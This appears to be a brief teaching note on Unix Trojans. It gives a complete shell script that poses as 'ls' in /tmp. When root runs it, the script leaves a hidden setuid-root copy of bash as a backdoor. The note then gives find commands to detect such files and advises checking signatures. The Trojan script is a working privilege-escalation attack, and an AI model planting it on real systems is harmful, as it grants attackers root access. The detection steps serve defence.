Example of a Trojan

Assume, root has path set as follows: PATH=.:$PATH

Hacker puts the script in /tmp and gives it name ls

When root comes in /tmp and executes ls it creates a back door for the hacker.

When a user executes /tmp/.sh -p he becomes root.


#!/bin/sh

who=`whoami`

# check if I am the root:

if [ "$who" = "root" ]
then
cp /bin/bash .sh
chmod 4755 .sh
/bin/rm ls
fi

/bin/ls $*

This trojan can be found with find command:


find /tmp -type f -perm +ug=s -ls


find /tmp -type f -perm +6000 -ls

Very often, Trojans come with a new software. Verify developers signatures using checksums or GPG/PGP tools.